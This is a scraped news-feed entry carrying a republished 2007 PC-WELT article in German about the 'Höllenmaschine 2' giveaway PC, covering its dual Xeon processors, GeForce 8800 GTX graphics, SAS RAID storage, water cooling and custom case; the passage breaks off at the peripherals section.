]]> <![CDATA[The Bambu Lab A1 mini 'packs a punch in terms of performance and quality' — now our 5-star 3D printer for beginners gets a price cut]]> https://tsecurity.de/de/3654201/it-nachrichten/the-bambu-lab-a1-mini-packs-a-punch-in-terms-of-performance-and-quality-now-our-5-star-3d-printer-for-beginners-gets-a-price-cut/ https://tsecurity.de/de/3654201/it-nachrichten/the-bambu-lab-a1-mini-packs-a-punch-in-terms-of-performance-and-quality-now-our-5-star-3d-printer-for-beginners-gets-a-price-cut/ Wed, 08 Jul 2026 14:02:41 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Vor 19 Jahren: PC-WELT verlost die Höllenmaschine 2 fĂŒr 20.000 Euro]]> https://tsecurity.de/de/3653681/it-nachrichten/vor-19-jahren-pc-welt-verlost-die-hoellenmaschine-2-fuer-20000-euro/ https://tsecurity.de/de/3653681/it-nachrichten/vor-19-jahren-pc-welt-verlost-die-hoellenmaschine-2-fuer-20000-euro/ Wed, 08 Jul 2026 10:33:01 +0200 📰 IT Nachrichten tsecurity.de

Hinweis: Dieser Artikel erschien im MĂ€rz 2007 auf pcwelt.de. AnlĂ€sslich unseres 20‑jĂ€hrigen JubilĂ€ums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte fĂŒhren.

Hier geht es direkt zum Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro. Bestens informiert bleiben Sie mit unserem HMX-6-Newsletter – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestĂ€tigen. Und nun viel Spaß mit der zweiten Höllenmaschine:

Wir lassen die Katze aus dem Sack: Unser Traumrechner ist vollgestopft mit allem, was aktuell, gut und teuer ist. Jetzt geht’s los: Activate!

Alles neu, alles besser: Die Höllenmaschine 2 der PC-WELT geht weit ĂŒber das hinaus, was das VorgĂ€nger-Modell bot: Zu den Highlights gehören die zwei Direct-X-10-Grafikkarten, die beiden Quad-Core-Prozessoren, der Blue-Ray-Brenner und die rasanten SAS-Festplatten.

Auch mit einem StandardgehĂ€use geben wir uns nicht mehr zufrieden: Diesmal musste es ein Maßanzug sein, den wir beim Fachmann bestellten. Der war alles andere als gĂŒnstig – allein die Materialkosten summieren sich auf knapp 3600 Euro.

Wir werden Sie umfassend ĂŒber die Höllenmaschine 2 informieren. Dazu haben wir die Übersichtsseite www.pcwelt.de/hoelle eingerichtet. Dort finden Sie tagesaktuell Tests, Hintergrundberichte, Video-Clips und Downloads rund um den 20.000-Euro-Superrechner – etwa unsere Titelmelodie “Activate” als MP3-Download. Doch jetzt geht’s endlich los: Wir stellen Ihnen den Rechnertraum in allen Details vor.

Prozessor: Dual-Quad-Core

Zwei Workstation-Prozessoren des Typs Intel Xeon DP 5355 zum StĂŒckpreis von 1200 Euro gehen auch bei rechenintensiven Profi-Programmen nicht in die Knie. Die Vier-Kern-CPUs arbeiten mit einem Prozessortakt von 2,67 GHz und greifen auf jeweils 8 MB L2-Cache zurĂŒck. Der Systemtakt des Intel Xeon 5355 betrĂ€gt 333 (effektiv 1333) MHz. Damit erreicht die DatenkapazitĂ€t, die jeder der beiden Prozessoren pro Sekunde mit dem System austauschen kann, bis zu 10,5 GB. Der Xeon DP 5355 unterstĂŒtzt FB-DIMM-Speicher der DDR2-Spezifikationen PC533 und PC667.

Das Prozessor-Duo basiert auf Intels rechenstarker Core-Architektur, die sich dank 65-Nanometer-Fertigung und ausgeklĂŒgelter Stromspartechniken durch einen genĂŒgsamen Energieverbrauch auszeichnet: Unter anderem kann der Vierkern-Prozessor inaktive Teile in jedem Rechenkern abschalten (Intelligent Power Capability), jeden Kern unabhĂ€ngig voneinander in den stromsparenden Bereitschaftszustand versetzen (Enhanced Halt State) und jedem Rechenkern die Taktfrequenz und Kernspannung zuweisen, die fĂŒr die aktuell benötigte Rechenleistung notwendig ist (Enhanced Intel Speedstep). Dank dieser Stromspartricks liegt die Thermal Design Power (TDP) des Quad-Cores bei lediglich 120 Watt – sensationell niedrig im Vergleich zu einer Einkern-CPU wie beispielsweise dem Pentium 4 670 (Test), der mit 115 Watt fast genauso viel Energie verbrĂ€t.

Mehr Möglichkeiten: Der Xeon DP 5355 unterstĂŒtzt die Virtualisierungs-Technik Vanderpool sowie 32- und 64-Bit-Betriebssysteme – interessant fĂŒr Nutzer, die unter anderem virtuelle Server mit unterschiedlichen Betriebssystemen einrichten möchten. Mit einem Achtkern-System lĂ€sst sich da so einiges realisieren. Welche Erfahrungen wir beim Experimentieren mit Virtualisierungs-Software wie Xen und VM-Ware gemacht haben, erfahren Sie in KĂŒrze in einem weiteren Artikel, der die LeistungsfĂ€higkeit der Höllenmaschine 2 beleuchtet.

Ein System mit so vielen Hardware-Komponenten wie unsere Höllenmaschine II verlangt nach einem besonders anschlussfreudigen Untersatz: Wir haben uns fĂŒr die Tyan Tempest i5000XL (S2692) mit dem Intel-Chipsatz 5000X/6321ESB entschieden. Die Workstation-Hauptplatine besitzt zwei Prozessor-SteckplĂ€tze fĂŒr Sockel-771-CPUs und hat mit ihrem CEB-Formfaktor eine ÜbergrĂ¶ĂŸe von 305 x 259 Millimetern.

Die Tempest i5000XL wartet mit zahlreichen Schnittstellen auf: Dazu gehören unter anderem ein 8x- und zwei 16x-PCI-Express- sowie zwei PCI-X-SteckplĂ€tze. Über interne Controller stehen ein PATA- und ein Floppy-Port sowie sechs SATA2- und acht USB-2.0-High-Speed-Schnittstellen zur VerfĂŒgung. Ebenfalls integriert: eine Gigabit-Ethernet-Buchse und der HD-Audio-Controller Realtek ALC888. Vier SpeicherbĂ€nke nehmen insgesamt bis zu 16 GB fully buffered DDR2-667-SDRAM auf.

Volle Kontrolle: Das Phoenix-BIOS der Workstation-Hauptplatine beherrscht netzwerkgestĂŒtzte Funktionen wie „Serial Console Redirect“ und „Preboot Execution Environment“ (PXE). Hinzu kommt eine frei konfigurierbare Monitoring-Funktion. Wer will, kann außerdem das Trusted Platform Module (TPM) Infineon SLB9635TT aktivieren, das im Intel-Chipsatz integriert ist.

Grafik: Dual Direct X 10

Eine Direct-X-10-Grafiklösung ist Pflicht fĂŒr unseren 20.000-Euro-Rechner. Wir haben uns fĂŒr zwei Grafikkarten des Typs PNY Verto Geforce 8800 GTX entschieden. Der Grafikchip Geforce 8800 GTX besteht aus 681 Millionen Transistoren.

PNY Verto Geforce 8800 GTX

PNY

Damit ĂŒbertrifft die KomplexitĂ€t von Nvidias Geforce-8-Generation alle GPUs (Graphic Processing Unit), die bisher auf den Markt gekommen sind. Zum Vergleich: AMDs Spitzenmodell Radeon X1950 XTX stehen mit 384 Millionen nur rund die HĂ€lfte an Transistoren zur VerfĂŒgung. Und der hauseigene VorgĂ€nger Geforce 7900 GTX kommt lediglich auf 278 Millionen Schaltkreise.

Die unglaubliche KomplexitĂ€t liegt in der Architektur begrĂŒndet, die Nvidia komplett neu entwickelt hat. Beim Geforce 8 handelt es sich um Nvidias ersten Grafikchip mit der sogenannten „Unified Shader Architecture“. Es gibt also keine spezialisierten Pixel- und Vertex-Shader mehr, sondern universell einsetzbare Shader, die dynamisch die Rechenarbeit ĂŒbernehmen. Insgesamt werkeln im Geforce 8800 GTX satte 128 dieser Rechenwerke, die Nvidia Streaming-Prozessoren (SP) getauft hat. Die SPs fungieren nicht nur als Pixel- oder Vertex-Shader, sondern können auch die Geometrie- und Physik-Berechnung ĂŒbernehmen.

Der eigentliche Takt des Grafikchips betrĂ€gt beim Geforce 8800 GTX nur 575 MHz. Die Taktfrequenz der Streaming-Prozessoren des Nvidia-Flaggschiffs liegt hingegen bei außerordentlichen 1350 MHz. Sogenannte Threading-Einheiten teilen die anfallenden Rechenaufgaben dynamisch in kleine StĂŒcke auf und schicken sie an die Streaming-Prozessoren. Nvidia nennt diese Technik „Gigathread Technology“.

Jede PNY-Grafikkarte (PC-WELT-Test) greift auf 768 MB GDDR3-SDRAM (effektiver Takt: 1800 MHz) zu, das an einen 384 Bit breiten Speicherbus angebunden ist. Damit erhöht sich die theoretisch maximale Speicherbandbreite auf heftige 86,4 GB/s. Hoch aufgelöste Filme auf Blu-Ray- und HD-DVD-Medien kann die Karte dank integriertem HDCP-Chip ebenfalls ausgeben.

Wermutstropfen: Derzeit lĂ€sst sich unter Windows Vista und XP nur eine Karte ansprechen, da Nvidia die SLI-Funktion fĂŒr den 5000X-Chipsatz von Intel nicht freigeschaltet hat. Nvidias Treiber-Entwicklerteam kĂŒmmert sich erst einmal um die hauseigenen Hauptplatinen-ChipsĂ€tze und programmiert fieberhaft an einem SLI-fĂ€higen Direct-X-10-Treiber fĂŒr Windows Vista. Da Nvidia und Intel aber seit der ATI-Übernahme von AMD enger zusammenarbeiten, sind wir zuversichtlich, dass Nvidia – sobald die Hausaufgaben erledigt sind – auch eine SLI-Lösung fĂŒr Intel-ChipsĂ€tze anbietet. Und wenn’s bei Nvidia etwas lĂ€nger dauern sollte – freigeschaltete SLI-Treiber fĂŒr die Geforce-7-Baureihe waren ja auch recht flott auf den einschlĂ€gigen Websites erhĂ€ltlich 


Ausstattung der Höllenmaschine 2 im Überblick

KomponenteModellPreis (Euro) am 3.3.2007
HauptplatineTyan Tempest i5000XL (S2692)400
Prozessor2 x Intel Xeon 5355 Quad-Core2400
Speicher4 x 1 GB Corsair registered PC667 FB-DIMM850
Grafik2 x PNY Verto Geforce 8800 GTX mit je 768 MB GDDR3-Speicher1100
Raid-ControllerAdaptec 4800SAS/128, PCI-X850
Festplatten4 x 147 GB Seagate Cheetah 15K.4 ST3146854SS, SAS, Raid 102600
4 x 750 GB Seagate Barracuda ST3750640AS, SATA II, Raid 101400
Seagate Pushbutton External Hard Drive 750 GB, Firewire/USB 2.0400
BrennerBlu-ray-Laufwerk Philips SPD7000BD, SATA850
DVD-Laufwerk Samsung SH-S182A, PATA50
GehÀusePC-WELT Höllenmaschine 2 von Heiko Polaczek (nur Materialwert)3600
WasserkĂŒhlungInnovatek Triple Radiator, Tank-O-Matik, Eheim-Pumpe HPPS Plus, Flowmeter Pro 3.6 sowie CPU-, Grafikchip- und FestplattenkĂŒhler1950
NetzteilEnermax Galaxy EGA1000EWL, 1000 Watt350
SoundkarteCreative X-Fi Fatal1ty Edition200
BoxensystemCreative Gigaworks Progamer G550W450
BildschirmeBenQ FP241W 24-Zoll-TFT1100
integrierter 8-Zoll-LCD-Touchscreen VE-XVT-8250
BetriebssystemeMicrosoft Windows Vista Ultimate550
Open Suse Linux 10.250
EingabegerÀteLogitech di Novo Edge Tastatur & MX Revolution Maus300
PC-WELT Höllenmaschine 2 aus dem Jahre 2007
Die Höllenmaschine 2 aus dem Jahr 2007

PC-WELT

RAM und HDDs: FB-DIMM und Quad-SAS

Wir bestĂŒcken alle vier SpeicherbĂ€nke der Workstation-Hauptplatine mit Fully Buffered DDR2-667-SDRAM – und zwar mit den 1-GB-Modulen Corsair CM73DD1024R-667. Fully-Buffered-Speicher nutzt zusĂ€tzliche Datenleitungen fĂŒr die DatenintegritĂ€tsprĂŒfung. FĂŒr eine schnellere Datenverarbeitung laufen die vier Speichermodule paarweise im Zwei-Kanal-Modus.

Das schwÀchste Glied in aktuellen PCs ist meist die Festplatte. Nicht so bei der Höllenmaschine 2: Sie vertraut auf superschnelle Server-Laufwerke, die die Punkt-zu-Punkt-Verbindung Serial Attached SCSI (SAS) nutzen. SAS ist der Nachfolger der parallelen SCSI-Schnittstelle und bietet eine theoretische Datentransferrate von bis zu 300 MB/s, die sich im Gegensatz zu SATA II in der Praxis mit Raid-Konfigurationen auch tatsÀchlich annÀhernd erreichen lÀsst.

FĂŒr die Höllenmaschine fiel unsere Wahl auf das Modell Seagate Cheetah 15K.4 ST3146854SS mit 147 GB formatierter KapazitĂ€t. Preis pro StĂŒck: knapp 650 Euro. Das 3,5-Zoll-Laufwerk rotiert mit 15 000 Umdrehungen pro Minute, der Datenpuffer betrĂ€gt 8 MB. Die durchschnittliche Zugriffszeit der Cheetah 15K.4 liegt laut Hersteller bei 2 Millisekunden. Damit wĂ€re das Seagate-Laufwerk mehr als doppelt so fix wie die bisher schnellste von uns getestete SATA-Festplatte.

Die Seagate Cheetah 15K.4 ST3146854SS besitzt vier Datenscheiben mit jeweils zwei Schreib-Lese-Köpfen. Die ZuverlÀssigkeit respektive MTBF (Mean Time Between Failures) der SAS-Laufwerke gibt Seagate mit 1,4 Millionen Betriebsstunden an. Die Annualized Failure Rate (AFR), also die Wahrscheinlichkeit, dass ein Laufwerk innerhalb eines Jahres ausfÀllt, liegt laut Hersteller bei 0,62 Prozent.

Noch mehr Tempo kitzeln wir aus der Cheetah 15K.4, indem wir gleich vier der SAS-Laufwerke mittels der PCI-X-Controller-Karte Adaptec 4800SAS/128 zu einem Raid-10-Verbund koppeln. Zwei Laufwerke fungieren dabei als RAID-0-Verbund: Dadurch lÀsst sich im Idealfall die Datentransferrate fast verdoppeln, da der SAS-Controller den Datenstrom in kleine Pakete zerlegt (Striping), die er simultan auf das Plattenduo schreibt beziehungsweise davon liest. Um eine hundertprozentige Datensicherheit zu gewÀhrleisten, arbeiten die beiden anderen SAS-Laufwerke im RAID-1-Modus und spiegeln so den Datenbestand des RAID-0-Verbundes.

Umsonst gibt’s die Datensicherheit allerdings nicht: Durch den RAID-10-Verbund halbiert sich die nutzbare KapazitĂ€t des Laufwerk-Quartetts auf knapp 300 GB. Damit Systemprogramme und Applikationen möglichst verzögerungsfrei starten und arbeiten, haben wir die Betriebssysteme sowie alle Programme und Benchmarks auf der SAS-Partition installiert.

Ausreichend Platz fĂŒr umfangreiche Musik- und Video-Sammlungen gibt’s auf der zweiten Partition der Höllenmaschine 2: Sie besteht aus vier 750-GB-Laufwerken des Typs Seagate Barracuda 7200.10 ST3750640AS, die wir ebenfalls zu einem Raid-10-Verbund gebĂŒndelt haben. Die Festplatten bieten dann zusammen eine formatierte KapazitĂ€t von knapp 1,4 Terabyte.

Die Barracuda 7200.10 setzt auf die SATA-II-Schnittstelle, die eine theoretische Transferrate von bis zu 300 MB/s erreicht. In der Praxis erzielen Sie diesen Wert zwar nicht, bei einem Raid-0-Verbund aus zwei Platten dĂŒrfen Sie aber durchschnittlich mit deutlich ĂŒber 100 MB/s rechnen. Damit verwalten und archivieren Sie selbst große Videodateien sehr flott.

Die Seagate Barracuda 7200.10 ST3750640AS ist technisch auf der Höhe der Zeit: Das 3,5-Zoll-Laufwerk beherrscht die Technik Native Command Queuing (NCQ). NCQ erlaubt der Festplatte, die vom System geforderten Zugriffe selbststĂ€ndig zu verwalten. Sie kann so die optimale Reihenfolge der Zugriffe ermitteln: Das spart zusĂ€tzliche Drehbewegungen, verkĂŒrzt damit die Wegstrecken, die der Schreib-/Lesekopf zurĂŒcklegen muss, und sorgt ergo fĂŒr ein höheres Tempo. Eine höhere DatenĂŒbertragungsrate lĂ€sst sich auch mit Perpendicular Recording erzielen, da die Datenbits nicht mehr horizontal, sondern vertikal auf dem DatentrĂ€ger angeordnet sind. Auch diese moderne Technik setzt die Barracuda 7200.10 ein, was wir im PC-WELT-Test mit einer Innovations-Empfehlung belohnt haben.

Mehr MobilitÀt: 750 GB externer Speicher und Allesleser

Mit der Seagate Pushbutton External Hard Drive stehen Ihnen zusĂ€tzlich 750 GB mobiler Speicher zur VerfĂŒgung. Das externe 3,5-Zoll-Laufwerk erstellt ein Backup bequem auf Knopfdruck – selbst umfangreiche DatenbestĂ€nde lassen sich auf diese Weise sichern. Bei der Datensicherung unterstĂŒtzt Sie die beiliegende Software Bounceback Express. Die native SATA-II-Festplatte mit der Modellbezeichnung ST3750640CB-RK besitzt sowohl eine Firewire- als auch eine USB-2.0-High-Speed-Schnittstelle.

Seagate Pushbutton External Hard Drive

Seagate

Die Seagate Pushbutton rotiert mit 7.200 Umdrehungen pro Minute, der Datenpuffer betrÀgt stattliche 16 MB. Auch dieses Seagate-Laufwerk realisiert die hohe KapazitÀt mithilfe der Technik Perpendicular Recording. Auf den vier Datenscheiben wuseln insgesamt acht Schreib-Lese-Köpfe mit einem kaum wahrnehmbaren BetriebsgerÀusch.

Sie können aber auch jede beliebige Speicherkarte mit den Daten der Höllenmaschine II fĂŒttern, denn der integrierte Kartenleser kommt mit allen gĂ€ngigen Formaten wie Compact Flash (Typ I und II), MagicGate Memory Stick (Duo, Pro, Pro Duo), Memory Stick (Duo, Pro, Pro Duo, Pro Ultra II, ROM, Select), Microdrive, Micro SD, Multimedia Karte (RS), Secure Digital (Mini) Karte und Smart Media Karte klar. Das integrierte Disketten-Laufwerk speichert zwar auch Daten, dient aber eher fĂŒr knifflige BIOS-Updates und Betriebssysteminstallationen – sofern kein bootfĂ€higer USB-Stick zur Hand ist oder die benötigten Daten nur auf Floppy vorliegen.

Sie können Ihre Daten aber auch mit dem Blu-Ray-Brenner Philips SPD7000BD speichern, der bei 2-fachem Schreibtempo knapp 9 MB/s ĂŒber die SATA-Schnittstelle schaufelt und einen einlagigen 25-GB-BR-Rohling in gut 45 Minuten fĂŒllt. Das vom Online-Versender Alternate zur VerfĂŒgung gestellte interne Laufwerk beschreibt aber auch CDs und DVDs. Der Pufferspeicher des SATA-Brenners betrĂ€gt 8 MB.

DVDs sowie CDs liest der Blu-Ray-Brenner mit maximal 16- beziehungsweise 32-facher Geschwindigkeit. DVD±Rs beschreibt das Laufwerk mit 12-fachem, DVD-RWs mit 8fachem und DVD+RWs mit 12-fachem Tempo. Dual-Layer-DVD‑Rs und Double-Layer-DVD+Rs brennt das interne Laufwerk mit 4-facher Geschwindigkeit. CD-Rs sowie CD-RWs beschreibt der Blu-Ray-Brenner mit 32‑fachem respektive 24‑fachem Tempo.

Im Lieferumfang des Blu-Ray-Laufwerks enthalten ist die Brenn-Software Nero 7 Essentials, eine abgespeckte Version von Nero 7 Premium mit folgenden, zum Teil funktionsreduzierten Programm-Modulen: Cover Designer 2, Express 7, Home, Incd 5, Media Home, Photoshow Express 4, Photosnap, Photosnap Viewer, Scout, Showtime 2, Start Smart 3, Toolkit sowie Vision 4. Von Cyberlink liegt ein Blu-Ray-Medium bei, auf dem sich das Abspielprogramm Power DVD BD befindet, mit dem Sie Filme auf Blu-Ray- und DVD-Medien abspielen können.

Beim zweiten optischen Laufwerk, dem Samsung SH-S182A, handelt es sich um einen Multiformat-DVD-Brenner, der auch das DVD-RAM-Format beherrscht. Außerdem unterstĂŒtzt das SATA-Laufwerk die Lightscribe-Technik. Das interne Laufwerk beschreibt DVD±Rs mit 18-fachem, DVD-RWs mit 6fachem und DVD+RWs mit 8fachem Tempo. Dual-Layer-DVD‑Rs sowie Double-Layer-DVD+Rs brennt der Samsung SH-S182A mit 8-facher und DVD-RAMs mit 12-facher Geschwindigkeit.

Bildschirme: 24-Zoll-TFT und 8-Zoll-Touchscreen

Der integrierte 8-Zoll-LCD-Touchscreen Worcol VE-XVT-8, der auf ein Panasonic-Display setzt, ist normalerweise fĂŒr den Einsatz im Auto gedacht. Die physikalische Auflösung des LCDs betrĂ€gt 800 x 600 Bildpunkte, maximal ist eine Auflösung von 1024 x 768 Pixeln möglich. Die Ansteuerung des Touchscreen-Sensor-Panels erfolgt ĂŒber die USB-Schnittstelle. Der Touchscreen-Treiber unterstĂŒtzt alle gĂ€ngigen Betriebssysteme.

Laut Hersteller liegt der maximale Blickwinkel des Worcol VE-XVT-8 bei 150 Grad. Die LeuchtstĂ€rke gibt Panasonic mit 500cd/mÂČ an. Das KontrastverhĂ€ltnis betrĂ€gt nach Angaben des Herstellers 350:1. Neben der D-Sub-Schnittstelle steht auch ein AV-Videoeingang zur VerfĂŒgung. Alle wichtigen Einstellungen wie Bildposition, Farbtemperatur und -tiefe, Helligkeit und Kontrast lassen sich stufenlos ĂŒber die Bedienelemente auf der Vorderseite einstellen.

FĂŒr mehr Übersicht sorgt das 24-Zoll-Breitbild-TFT Benq FP241W, das wir der Höllenmaschine zur Seite stellen. Die physikalische Auflösung des LCD-Bildschirms betrĂ€gt 1920 x 1200 Bildpunkte – damit stellt der Monitor selbst das HD-Format 1080p nativ dar. Die Auflösung reicht aber auch, um zwei DIN-A4-Seiten nebeneinander auf den Schirm zu bringen.

Reich gesegnet ist der Benq FP241W mit Schnittstellen: Pflicht fĂŒr ein HD-GerĂ€t ist natĂŒrlich der HDMI-Eingang, hoch aufgelöste Bildsignale empfĂ€ngt der 24-Zöller aber auch ĂŒber die DVI-D-Schnittstelle. Hinzu gesellen sich ein D-Sub-, ein S-Video-, ein Komponenten- und ein USB-Eingang. Praktisch: Der LCD fungiert auch als USB-Hub und stellt drei AusgĂ€nge zur VerfĂŒgung.

Der Benq FP241W misst 564 x 567 x 248 Millimeter und bringt 10,6 Kilogramm auf die Waage. Laut Hersteller betrĂ€gt der Energieverbrauch im Betrieb 95 Watt. Die Reaktionszeit des Displays gibt Benq mit 6 Millisekunden an (grau zu grau). Die Helligkeit liegt nach Herstellerangaben bei 500cd/mÂČ und das KontrastverhĂ€ltnis bei 1000:1. Den horizontalen und vertikalen Blickwinkel gibt Benq mit jeweils 178 Grad an. Unsere Bildschirm-Experten prĂŒfen den 24-Zöller gerade, sodass wir Ihnen in KĂŒrze einen ausfĂŒhrlichen Test prĂ€sentieren können.

Sound: EAX 5 und kabelloser 5.1-Raumklang

FĂŒr die akustische Untermalung ist bei der Höllenmaschine die Creative Sound Blaster X-Fi Fatality FPS zustĂ€ndig. Der mit 51 Millionen Transistoren sehr komplexe Soundchip erreicht eine maximale Samplingfrequenz von 192 kHz. Der Wavetable-Synthesizer beherrscht 128 Stimmen, 128 Instrumente und 10 Drumsets. Außerdem unterstĂŒtzt der X-Fi-Chip den Standard EAX Advanced HD 5 nativ und beschleunigt entsprechend optimierte Spiele. Den Test der Creative X-Fi Xtreme Music, die den baugleichen Soundchip nutzt, finden Sie hier – unser Audio-Experte vergab fĂŒr den analogen und digitalen Klang jeweils die Note „sehr gut“.

Creative Sound Blaster X-Fi Fatality FPS

Creative

Damit Sie auch unter Vista EAX in vollen ZĂŒgen genießen können – Microsoft hat bekanntlich beim neuen Betriebssystem das Hardware Abstraction Layer (HAL) fĂŒr Directsound und Directsound 3D entfernt –, hat Creative das Alchemy-Projekt gestartet. Wir sind daher zuversichtlich, dass der GlĂŒckspilz, der die PC-WELT Höllenmaschine 2 gewinnt, zum Liefertermin nicht mehr auf EAX-Raumklang unter Vista verzichten muss.

Die beiliegende Break-out-Box erlaubt den Zugriff auf die wichtigsten Schnittstellen via Front-Panel. Es stehen jeweils ein koaxialer und ein optischer SPDIF-Ein- und -Ausgang, zwei Cinch-Buchsen fĂŒr den AUX-Eingang, ein Mini-MIDI-Ein- und -Ausgang sowie eine Kopfhörerbuchse mit LautstĂ€rkeregler und ein kombinierter analoger Line-/Mikrofon-Eingang bereit. Das Sound-Paket komplettiert eine Fernbedienung.

Ebenfalls von Creative stammt das THX-zertifizierte 5.1-Lautsprecher-Set Gigaworks Progamer G550W. Das Boxenset mit FunkĂŒbertragung zu den hinteren Lautsprechern liefert 36 Watt RMS pro Kanal zu den Satelliten, die Subwoofer-Leistung gibt Creative mit 130 Watt RMS an. Im Transmitter der Gigaworks Progamer G550W sind die Regler fĂŒr die LautstĂ€rkeverteilung, Bass, Treble und Volume untergebracht, ergĂ€nzt von einer Kopfhörer-Buchse und einem AUX-Eingang. Ebenfalls im Lieferumfang: eine Fernbedienung.

Stromversorgung: 1000 Watt

Umweltpolitisch nicht ganz korrekt, aber bitter notwendig fĂŒr eine stabile Stromversorgung der Hochleistungs-Komponenten: das 1000-Watt-Netzteil Enermax Galaxy EGA1000EWL. Der Kraftprotz mit einem Kampfgewicht von 5,6 Kilogramm glĂ€nzt laut Hersteller mit mehreren Weltneuheiten: Dazu gehören unter anderem fĂŒnf 12-Volt-Leitungen und die Möglichkeit, bis zu 24 Laufwerke gleichzeitig anschließen zu können. Außerdem rĂŒhmt sich das Netzteil, die erste Triple-Quad-UnterstĂŒtzung zu bieten, weshalb wir es als adĂ€quaten Stromlieferanten fĂŒr die Höllenmaschine II ausgewĂ€hlt haben.

Wenn Sie unseren Superrechner als Server einsetzen wollen, werden Sie sich nicht nur ĂŒber die Alarmfunktionen freuen, die den Netzteil-Status ĂŒberwachen, sondern auch ĂŒber die RAM-Kabel fĂŒr SpeicherbestĂŒckungen ab 32 GB. Eine gute Idee von Enermax ist auch die komplette Trennung der Prozessor-Stromversorgung von den restlichen Versorgungsleitungen. Die KĂŒhlung des 1000-Watt-Kraftprotzes ĂŒbernimmt ĂŒbrigens ein leise arbeitender DoppellĂŒfter, bestehend aus einem 135- und einem 80-Millimeter-Rotor.

WassergekĂŒhlt: CPUs, GPUs und Festplatten

Bei der recht hohen Leistungsaufnahme – die exakten Verbrauchswerte liefern wir noch nach – ist fĂŒr den stabilen Betrieb der Höllenmaschine 2 eine effiziente KĂŒhlung der hitzigsten Komponenten unverzichtbar. Diese Aufgabe ĂŒbernimmt eine WasserkĂŒhlung, die wir aus Komponenten des KĂŒhlungsspezialisten Innovatek zusammengestellt haben. Gesamtwert: 1950 Euro.

Beginnen wir mit dem ProzessorkĂŒhler X-Flow Xeon aus vernickeltem Kupfer, der eine Bauhöhe von lediglich 18 Millimetern hat. Da einige Kondensatoren in unmittelbarer Nachbarschaft der CPU-Sockel die passgenaue Montage verhinderten, war eine komplette Modifikation der X-Flows fĂŒr die Höllenmaschine notwendig. Die VGA-KĂŒhler Cool-Matic G80-GTX/GTS leiten nicht nur die AbwĂ€rme der GPUs ab, sondern kĂŒhlen auch den Grafikspeicher, den Bridge-Chip sowie den Spannungswandler. Um die KĂŒhlleistung zu verbessern, integriert Innovatek in die Cool-Matic G80-GTX/GTS einen speziellen Kupferkern.

Alle acht Festplatten wandern in den HDM L-Pro FestplattenkĂŒhler aus Aluminium, der sich aus einem Innen- und einem Außenrahmen zusammensetzt. Dabei sind die beiden Rahmen voneinander entkoppelt – das reduziert die GerĂ€uschentwicklung. Selbstredend ist die HDM L-Pro fĂŒr Laufwerke mit bis zu 15.000 Umdrehungen pro Minute ausgelegt. Die FestplattenkĂŒhler lassen sich zudem problemlos mit einem TemperaturfĂŒhler aufrĂŒsten.

KĂŒhlsystem mit HamstertrĂ€nke

FĂŒr einen gleichmĂ€ĂŸigen Strom der KĂŒhlflĂŒssigkeit sorgt die 12-Volt-Pumpe HPPS Plus. Das gemeinsam von Innovatek und Eheim entwickelte Modell kennt zwei BetriebszustĂ€nde: Im fast gerĂ€uschlosen Silent-Modus, in dem wir die HPPS Plus betreiben, betrĂ€gt die maximale Pumpleistung 2,05 Meter. Per LötbrĂŒcke lĂ€sst sich der Power-Modus aktivieren, die Pumpleistung steigt dann auf stattliche vier Meter. Ein Mikroprozessor regelt die Drehzahl der HPPS Plus dynamisch, sodass jederzeit eine optimale Förderleistung gesichert ist.

HamstertrĂ€nke: Die scherzhafte Bezeichnung stammt von einem Kollegen, der sich noch nicht mit den Finessen eines WasserkĂŒhlsystems befasst hat, in dem kein AusgleichsbehĂ€lter fehlen darf. Das von uns eingesetzte Modell Tank-O-Matic hat einen Durchmesser von 50 Millimetern, die Bauhöhe betrĂ€gt 280 Millimeter und das Fassungsvermögen 280 Milliliter.

Das zentrale KĂŒhlsystem komplettiert der Blackice Triple Radiator. Seine drei 120-Millimeter-LĂŒfter leiten die AbwĂ€rme der Prozessoren, Grafikkarten und der acht Festplatten fast lautlos nach außen. Unser Casemodding-Experte „Fastbrain1“, der das exklusive Design-GehĂ€use der Höllenmaschine 2 entworfen und gebaut hat, konnte nicht widerstehen und hat den Blackice mit stark reflektierendem Silberlack veredelt.

Kleinteile: Insgesamt fast fĂŒnf Meter des PVC-Spezialschlauchs von Innovatek sind in der Höllenmaschine 2 verbaut. Dazu gesellen sich – unter anderem – 28 1/8-Winkelverbinder und 8 gewinkelte 1/8-Einschraubverschraubungen. An kritischen Stellen verhindern diverse Knickschutzfedern, dass der Spezialschlauch abknickt und der Supergau einer WasserkĂŒhlung eintritt: der Stau des KĂŒhlmittelflusses. Nicht zu vergessen: Die Durchfluss-Messturbine Flowmeter PRO Rev 3.6, die das Durchflusstempo in Umdrehungen pro Minute an das Rechner-BIOS ĂŒbermittelt. Zudem lĂ€sst sich die Durchflussgeschwindigkeit auch optisch mittels der integrierten blauen Indikator-LED kontrollieren.

GehĂ€use-Unikat: Casemod fĂŒr 3600 Euro

FĂŒr die Gestaltung des GehĂ€uses konnte die PC-WELT einen Spezialisten gewinnen: Heiko Polaczek, auch unter dem Alias „Fastbrain1“ bekannt, ist seit 14 Jahren eine feste GrĂ¶ĂŸe in der internationalen Casemoding-Szene. Der mehrfach fĂŒr seine GehĂ€use-Kunstwerke ausgezeichnete Modding-Profi verarbeitete fĂŒr die Höllenmaschine 6,5 Quadratmeter Blech, 2,7 Meter Stahlrohr, 17 Meter Schweißdraht und zwei Liter blauen Porsche-Autolack. Letzteres lĂ€sst sich der schwĂ€bische Sportwagenhersteller schon fast mit Gold aufwiegen: Der Liter kostet 450 Euro. ErwĂ€hnenswert sind an dieser Stelle noch die 27 laufenden Meter Schleifpapier und ĂŒber den Daumen gepeilte 7,5 Kilogramm Spachtelmasse, die Fastbrain1 fĂŒr das GehĂ€use-Unikat verbrauchte.

Allein der Materialwert fĂŒr den schmucken Casemod summiert sich auf knapp 3600 Euro, vom Arbeitsaufwand – circa 300 Stunden – ganz zu schweigen. Mehr Informationen und eine umfangreiche Bildgalerie mit den besten Werken von Heiko Polaczek finden Sie auf der Website. Wie Heiko Polaczek aus einem gĂ€hnend langweiligen Server-Tower unser exklusives SchmuckstĂŒck geformt hat, erfahren Sie in KĂŒrze im Beitrag „Making of Höllenmaschine 2“.

Peripherie: funktionell und elegant

